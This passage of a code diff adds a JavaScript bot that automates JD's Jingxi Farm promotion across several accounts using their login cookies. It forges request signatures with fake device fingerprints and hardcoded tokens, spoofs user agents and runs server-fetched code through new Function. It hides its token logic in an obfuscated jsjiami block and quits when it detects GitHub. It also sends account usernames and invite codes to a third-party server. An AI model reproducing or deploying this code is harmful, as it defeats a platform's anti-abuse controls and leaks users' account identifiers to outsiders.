$.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 处理当前账号token +function tokenFormat() { + return new Promise(async resolve => { + if (tokenArr[$.index - 1] && tokenArr[$.index - 1].farm_jstoken) { + currentToken = tokenArr[$.index - 1]; + } else { + currentToken = tokenNull; + } + resolve(); + }) +} + +// 处理当前账号助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${jdFruitShareArr[$.index - 1]}`) + if (jxncShareCodeArr[$.index - 1]) { + currentShareCode = jxncShareCodeArr[$.index - 1].split('@'); + currentShareCode.push(...(shareCode.split('@'))); + } else { + $.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码`) + currentShareCode = shareCode.split('@'); + } + $.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(currentShareCode)}`) + resolve(); + }) +} + +async function jdJXNC() { + subTitle = `【京东账号${$.index}】${$.nickName}`; + $.log(`获取用户信息 & 任务列表`); + const startInfo = await getTaskList(); + if (startInfo) { + message += `【水果名称】${startInfo.prizename}\n`; + if (startInfo.target <= startInfo.score) { // 水滴已满 + if (startInfo.activestatus === 2) { // 成熟未收取 + notifyBool = true; + $.log(`【成熟】水果已成熟请及时收取,activestatus:${startInfo.activestatus}\n`); + message += `【成熟】水果已成熟请及时收取,activestatus:${startInfo.activestatus}\n`; + } else if (startInfo.activestatus === 0) { // 未种植(成熟已收取) + $.log('账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。'); + message += '账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。\n'; + notifyBool = notifyBool && notifyLevel >= 3; + } + } else { + let shareCodeJson = { + "smp": $.info.smp, + "active": $.info.active, + "joinnum": $.info.joinnum, + }; + $.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】` + JSON.stringify(shareCodeJson)); + await $.wait(500); + const isOk = await browserTask(); + if (isOk) { + await $.wait(500); + await answerTask(); + await $.wait(500); + const endInfo = await getTaskList(); + getMessage(endInfo, startInfo); + await submitInviteId($.UserName); + await $.wait(500); + let next = await helpFriends(); + if (next) { + while ($.helpNum < $.maxHelpNum) { + $.helpNum++; + assistUserShareCodeJson = await getAssistUser(); + if (assistUserShareCodeJson) { + await $.wait(500); + next = await helpShareCode(assistUserShareCodeJson['smp'], assistUserShareCodeJson['active'], assistUserShareCodeJson['joinnum']); + if (next) { + await $.wait(1000); + continue; + } + } + break; + } + } + } + } + } + await showMsg() +} + +// 获取任务列表与用户信息 +function getTaskList() { + return new Promise(async resolve => { + $.get(taskUrl('query', `type=1`), async (err, resp, data) => { + try { + let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); + if (res) { + res = res[1]; + const {detail, msg, task = [], retmsg, ...other} = JSON.parse(res); + $.detail = detail; + $.helpTask = task.filter(x => x.tasktype === 2)[0] || {eachtimeget: 0, limit: 0}; + $.allTask = task.filter(x => x.tasktype !== 3 && x.tasktype !== 2 && parseInt(x.left) > 0); + $.info = other; + $.log(`获取任务列表 ${retmsg} 总共${$.allTask.length}个任务!`); + if (!$.info.active) { + $.log('账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。'); + message += '账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。\n'; + notifyBool = notifyBool && notifyLevel >= 3; + resolve(false); + } + resolve(other); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(true); + } + }); + }); +} + +function browserTask() { + return new Promise(async resolve => { + const tasks = $.allTask.filter(x => x.tasklevel !== 6); + const times = Math.max(...[...tasks].map(x => x.limit)); + for (let i = 0; i < tasks.length; i++) { + const task = tasks[i]; + $.log(`开始第${i + 1}个任务:${task.taskname}`); + const status = [0]; + for (let i = 0; i < times; i++) { + const random = Math.random() * 3; + await $.wait(random * 1000); + if (status[0] === 0) { + status[0] = await doTask(task); + } + if (status[0] !== 0) { + break; + } + } + if (status[0] === 1017) { // ret:1017 retmsg:"score full" 水滴已满,果实成熟,跳过所有任务 + $.log('水滴已满,果实成熟,跳过所有任务'); + resolve(true); + break; + } + if (status[0] === 1032) { + $.log('任务执行失败,种植的 APP 专属种子,请提供 token 或种植非 APP 种子'); + message += '任务执行失败,种植的 APP 专属种子,请提供 token 或种植非 APP 种子\n'; + notifyBool = notifyBool && notifyLevel >= 2; + resolve(false); + return; + } + + $.log(`结束第${i + 1}个任务:${task.taskname}`); + } + resolve(true); + }); +} + +function answerTask() { + const _answerTask = $.allTask.filter(x => x.tasklevel === 6); + if (!_answerTask || !_answerTask[0]) return; + const {tasklevel, left, taskname, eachtimeget} = _answerTask[0]; + $.log(`准备做答题任务:${taskname}`); + return new Promise(async resolve => { + if (parseInt(left) <= 0) { + resolve(false); + $.log(`${taskname}[做任务]: 任务已完成,跳过`); + return; + } + $.get( + taskUrl( + 'dotask', + `active=${$.info.active}&answer=${$.info.indexday}:${['A', 'B', 'C', 'D'][$.answer]}:0&joinnum=${ + $.info.joinnum + }&tasklevel=${tasklevel}&_stk=${encodeURIComponent("active,answer,ch,farm_jstoken,joinnum,phoneid,tasklevel,timestamp")}`, + ), + async (err, resp, data) => { + try { + let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); + if (res) { + res = res[1] + let {ret, retmsg, right} = JSON.parse(res); + retmsg = retmsg !== '' ? retmsg : '成功'; + $.log(`${taskname}[做任务]:ret:${ret} retmsg:"${retmsg.indexOf('活动太火爆了') !== -1 ? '任务进行中或者未到任务时间' : retmsg}"`); + if (ret === 0 && right === 1) { + $.drip += eachtimeget; + } + // ret:1017 retmsg:"score full" 水滴已满,果实成熟,跳过答题 + // ret:1012 retmsg:"has complte" 已完成,跳过答题 + if (ret === 1017 || ret === 1012) { + resolve(); + return; + } + if (((ret !== 0 && ret !== 1029) || retmsg === 'ans err') && $.answer > 0) { + $.answer--; + await $.wait(1000); + await answerTask(); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }, + ); + }); +} + +function getMessage(endInfo, startInfo) { + const need = endInfo.target - endInfo.score; + const get = endInfo.modifyscore; // 本次变更获得水滴 + const leaveGet = startInfo.modifyscore; // 离开时获得水滴 + let dayGet = 0; // 今日共获取水滴数 + if ($.detail) { + let dayTime = new Date(new Date().toLocaleDateString()).getTime() / 1000; // 今日 0 点时间戳(10位数) + $.detail.forEach(function (item, index) { + if (item.time >= dayTime && item.score) { + dayGet += item.score; + } + }); + } + message += `【水滴】本次获得${get} 离线获得${leaveGet} 今日获得${dayGet} 还需水滴${need}\n`; + if (need <= 0) { + notifyBool = true; + message += `【成熟】水果已成熟请及时收取,deliverState:${endInfo.deliverState}\n`; + return; + } + if (get > 0 || leaveGet > 0 || dayGet > 0) { + const day = Math.ceil(need / (dayGet > 0 ? dayGet : (get + leaveGet))); + message += `【预测】还需 ${day} 天\n`; + } + if (get > 0 || leaveGet > 0) { // 本次 或 离线 有水滴 + notifyBool = notifyBool && notifyLevel >= 1; + } else { + notifyBool = notifyBool && notifyLevel >= 2; + } +} + +// 提交助力码 +function submitInviteId(userName) { + return new Promise(resolve => { + if (!$.info || !$.info.smp) { + resolve(); + return; + } + try { + $.post( + { + url: `https://api.ninesix.cc/api/jx-nc/${$.info.smp}/${encodeURIComponent(userName)}?active=${$.info.active}&joinnum=${$.info.joinnum}`, + timeout: 10000 + }, + (err, resp, _data) => { + try { + const {code, data = {}} = JSON.parse(_data); + $.log(`邀请码提交:${code}`); + if (data.value) { + message += '【邀请码】提交成功!\n'; + } + } catch (e) { + // $.logErr(e, resp); + $.log('邀请码提交失败 API 返回异常'); + } finally { + resolve(); + } + }, + ); + } catch (e) { + // $.logErr(e, resp); + resolve(); + } + }); +} + +function getAssistUser() { + return new Promise(resolve => { + try { + $.get({ + url: `https://api.ninesix.cc/api/jx-nc?active=${$.info.active}`, + timeout: 10000 + }, async (err, resp, _data) => { + try { + const {code, data: {value, extra = {}} = {}} = JSON.parse(_data); + if (value && extra.active) { // && extra.joinnum 截止 2021-01-22 16:39:09 API 线上还未部署新的 joinnum 参数代码,暂时默认 1 兼容 + let shareCodeJson = { + 'smp': value, + 'active': extra.active, + 'joinnum': extra.joinnum || 1 + }; + $.log(`获取随机助力码成功 ` + JSON.stringify(shareCodeJson)); + resolve(shareCodeJson); + return; + } else { + $.log(`获取随机助力码失败 ${code}`); + } + } catch (e) { + // $.logErr(e, resp); + $.log('获取随机助力码失败 API 返回异常'); + } finally { + resolve(false); + } + }); + } catch (e) { + // $.logErr(e, resp); + resolve(false); + } + }); +} + +// 为好友助力 return true 继续助力 false 助力结束 +async function helpFriends() { + let tmpShareCodeJson = {}; + for (let code of currentShareCode) { + if (!code) { + continue + } + tmpShareCodeJson = changeShareCodeJson(code); + if (!tmpShareCodeJson) { //非 json 格式跳过 + console.log('助力码非 json 格式,跳过') + continue; + } + const next = await helpShareCode(tmpShareCodeJson['smp'], tmpShareCodeJson['active'], tmpShareCodeJson['joinnum']); + if (!next) { + return false; + } + await $.wait(1000); + } + return true; +} + +// 执行助力 return true 继续助力 false 助力结束 +function helpShareCode(smp, active, joinnum) { + return new Promise(async resolve => { + if (smp === $.info.smp) { // 自己的助力码,跳过,继续执行 + $.log('助力码与当前账号相同,跳过助力。准备进行下一个助力'); + resolve(true); + } + $.log(`即将助力 share {"smp":"${smp}","active":"${active}","joinnum":"${joinnum}"}`); + $.get( + taskUrl('help', `active=${active}&joinnum=${joinnum}&smp=${smp}`), + async (err, resp, data) => { + try { + let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); + if (res) { + res = res[1]; + const {ret, retmsg = ''} = JSON.parse(res); + $.log(`助力结果:ret=${ret} retmsg="${retmsg ? retmsg : 'OK'}"`); + // ret=0 助力成功 + // ret=1011 active 不同 + // ret=1012 has complete 已完成 + // ret=1013 retmsg="has expired" 已过期 + // ret=1009 retmsg="today has help p2p" 今天已助力过 + // ret=1021 cannot help self 不能助力自己 + // ret=1032 retmsg="err operate env" 被助力者为 APP 专属种子,当前助力账号未配置 TOKEN + // if (ret === 0 || ret === 1009 || ret === 1011 || ret === 1012 || ret === 1021 || ret === 1032) { + // resolve(true); + // return; + // } + // ret 1016 当前账号达到助力上限 + // ret 147 filter 当前账号黑号了 + if (ret === 147 || ret === 1016) { + if (ret === 147) { + $.log(`\n\n !!!!!!!! 当前账号黑号了 !!!!!!!! \n\n`); + } + resolve(false); + return; + } + resolve(true); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(false); + } + }, + ); + }); +} + + +function doTask({tasklevel, left, taskname, eachtimeget}) { + return new Promise(async resolve => { + if (parseInt(left) <= 0) { + $.log(`${taskname}[做任务]: 任务已完成,跳过`); + resolve(false); + } + $.get( + taskUrl( + 'dotask', + `active=${$.info.active}&answer=${$.info.indexday}:D:0&joinnum=${$.info.joinnum}&tasklevel=${tasklevel}&_stk=${encodeURIComponent("active,answer,ch,farm_jstoken,joinnum,phoneid,tasklevel,timestamp")}`, + ), + (err, resp, data) => { + try { + let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); + if (res) { + res = res[1]; + let {ret, retmsg} = JSON.parse(res); + retmsg = retmsg !== '' ? retmsg : '成功'; + $.log(`${taskname}[做任务]:ret:${ret} retmsg:"${retmsg.indexOf('活动太火爆了') !== -1 ? '任务进行中或者未到任务时间' : retmsg}"`); + if (ret === 0) { + $.drip += eachtimeget; + } + resolve(ret); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }, + ); + }); +} + + +function taskUrl(function_path, body, stk) { + let url = `${JXNC_API_HOST}cubeactive/farm/${function_path}?${body}&farm_jstoken=${currentToken['farm_jstoken']}&phoneid=${currentToken['phoneid']}×tamp=${currentToken['timestamp']}&sceneval=2&g_login_type=1&callback=whyour&_=${Date.now()}&g_ty=ls`; + url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + Cookie: currentCookie, + Accept: `*/*`, + Connection: `keep-alive`, + Referer: `https://st.jingxi.com/pingou/dream_factory/index.html`, + 'Accept-Encoding': `gzip, deflate, br`, + Host: `wq.jd.com`, + 'Accept-Language': `zh-cn`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + timeout: 10000, + }; +} + +async function showMsg() { + if (notifyBool) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + allMessage += `${subTitle}\n${message}${$.index !== cookieArr.length ? '\n\n' : ''}` + } + } else { + $.log(`${$.name} - notify 通知已关闭\n账号${$.index} - ${$.nickName}\n${subTitle}\n${message}`); + } +} + +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + +var _0xodF='jsjiami.com.v6',_0x5b0b=[_0xodF,'cyNU','XcOkE8O8wqc=','bsOsw4LCsRUKacOqw6xywrnCpcOBwqzDrMK4w78Hc0RtARs1LMK7UsORw5DDtTvDlMOhTWdJ','w7PDhsK5LTw=','VA0TwroQwpk=','w6xQw4hObsKK','wqrDmcK/KmQ=','wqduwp7DhcOT','KCpb','5q2F6Laf5Y+2w69KNcKRQ8Ki5aGE5Ye45Lug6KS56Iy4dOS9lueZvcKJHWtDelV+S8KQwqHlkZDpnpnmsrHli4jljpnDpQAMw7A=','qzJQKjsjhUKiamhDLiI.Jrcom.v6=='];(function(_0x575984,_0x111392,_0x45a010){var _0x199276=function(_0x3fe5bc,_0x4fea58,_0x564d83,_0x7e4c96,_0x31f329){_0x4fea58=_0x4fea58>>0x8,_0x31f329='po';var _0x1b3d5d='shift',_0x48218b='push';if(_0x4fea58<_0x3fe5bc){while(--_0x3fe5bc){_0x7e4c96=_0x575984[_0x1b3d5d]();if(_0x4fea58===_0x3fe5bc){_0x4fea58=_0x7e4c96;_0x564d83=_0x575984[_0x31f329+'p']();}else if(_0x4fea58&&_0x564d83['replace'](/[qzJQKhUKhDLIJr=]/g,'')===_0x4fea58){_0x575984[_0x48218b](_0x7e4c96);}}_0x575984[_0x48218b](_0x575984[_0x1b3d5d]());}return 0x8dbb1;};return _0x199276(++_0x111392,_0x45a010)>>_0x111392^_0x45a010;}(_0x5b0b,0x138,0x13800));var _0xa80f=function(_0x573aaa,_0x1954c9){_0x573aaa=~~'0x'['concat'](_0x573aaa);var _0x28dbcb=_0x5b0b[_0x573aaa];if(_0xa80f['fYTBaI']===undefined){(function(){var _0x34fb78=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x4c41c3='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x34fb78['atob']||(_0x34fb78['atob']=function(_0x108344){var _0x1c9d23=String(_0x108344)['replace'](/=+$/,'');for(var _0x231b41=0x0,_0x409c1c,_0x79d606,_0x4d4dd3=0x0,_0x539f42='';_0x79d606=_0x1c9d23['charAt'](_0x4d4dd3++);~_0x79d606&&(_0x409c1c=_0x231b41%0x4?_0x409c1c*0x40+_0x79d606:_0x79d606,_0x231b41++%0x4)?_0x539f42+=String['fromCharCode'](0xff&_0x409c1c>>(-0x2*_0x231b41&0x6)):0x0){_0x79d606=_0x4c41c3['indexOf'](_0x79d606);}return _0x539f42;});}());var _0x11caff=function(_0x4969ce,_0x1954c9){var _0x1deab0=[],_0x54f040=0x0,_0x11157a,_0x28c8dd='',_0x2e4762='';_0x4969ce=atob(_0x4969ce);for(var _0x4c665e=0x0,_0x81f3b1=_0x4969ce['length'];_0x4c665e<_0x81f3b1;_0x4c665e++){_0x2e4762+='%'+('00'+_0x4969ce['charCodeAt'](_0x4c665e)['toString'](0x10))['slice'](-0x2);}_0x4969ce=decodeURIComponent(_0x2e4762);for(var _0x4c705a=0x0;_0x4c705a<0x100;_0x4c705a++){_0x1deab0[_0x4c705a]=_0x4c705a;}for(_0x4c705a=0x0;_0x4c705a<0x100;_0x4c705a++){_0x54f040=(_0x54f040+_0x1deab0[_0x4c705a]+_0x1954c9['charCodeAt'](_0x4c705a%_0x1954c9['length']))%0x100;_0x11157a=_0x1deab0[_0x4c705a];_0x1deab0[_0x4c705a]=_0x1deab0[_0x54f040];_0x1deab0[_0x54f040]=_0x11157a;}_0x4c705a=0x0;_0x54f040=0x0;for(var _0x4f3ecc=0x0;_0x4f3ecc<_0x4969ce['length'];_0x4f3ecc++){_0x4c705a=(_0x4c705a+0x1)%0x100;_0x54f040=(_0x54f040+_0x1deab0[_0x4c705a])%0x100;_0x11157a=_0x1deab0[_0x4c705a];_0x1deab0[_0x4c705a]=_0x1deab0[_0x54f040];_0x1deab0[_0x54f040]=_0x11157a;_0x28c8dd+=String['fromCharCode'](_0x4969ce['charCodeAt'](_0x4f3ecc)^_0x1deab0[(_0x1deab0[_0x4c705a]+_0x1deab0[_0x54f040])%0x100]);}return _0x28c8dd;};_0xa80f['LuAVWF']=_0x11caff;_0xa80f['mCXDyr']={};_0xa80f['fYTBaI']=!![];}var _0x390a3d=_0xa80f['mCXDyr'][_0x573aaa];if(_0x390a3d===undefined){if(_0xa80f['dUKlOc']===undefined){_0xa80f['dUKlOc']=!![];}_0x28dbcb=_0xa80f['LuAVWF'](_0x28dbcb,_0x1954c9);_0xa80f['mCXDyr'][_0x573aaa]=_0x28dbcb;}else{_0x28dbcb=_0x390a3d;}return _0x28dbcb;};function getJxToken(){var _0xa422={'lGSBc':_0xa80f('0','9qEv'),'zYXMd':function(_0x3fddf8,_0x2e8c46){return _0x3fddf8(_0x2e8c46);},'EtUUR':function(_0xc1dc78,_0x2dd44b){return _0xc1dc78(_0x2dd44b);},'fhrXi':function(_0x4b8614){return _0x4b8614();}};function _0x2cfb27(_0x3d541e){let _0x19600a=_0xa422[_0xa80f('1','Ye&F')];let _0x1a62e9='';for(let _0x44ee85=0x0;_0x44ee85<_0x3d541e;_0x44ee85++){_0x1a62e9+=_0x19600a[parseInt(Math[_0xa80f('2',']aCG')]()*_0x19600a[_0xa80f('3','J@ZI')])];}return _0x1a62e9;}return new Promise(_0x3d4dca=>{let _0x1934d2=_0xa422[_0xa80f('4','&w[x')](_0x2cfb27,0x28);let _0x140a50=(+new Date())['toString']();if(!currentCookie[_0xa80f('5','YcXf')](/pt_pin=([^; ]+)(?=;?)/)){console[_0xa80f('6','WGWr')](_0xa80f('7','4!)U'));_0x3d4dca(null);}let _0x1ab949=currentCookie['match'](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0xa37fe3=$[_0xa80f('8','MVeX')](''+_0xa422['EtUUR'](decodeURIComponent,_0x1ab949)+_0x140a50+_0x1934d2+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')['toString']();currentToken={'timestamp':_0x140a50,'phoneid':_0x1934d2,'farm_jstoken':_0xa37fe3};_0xa422[_0xa80f('9','ZsI%')](_0x3d4dca);});};_0xodF='jsjiami.com.v6'; +// prettier-ignore +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return 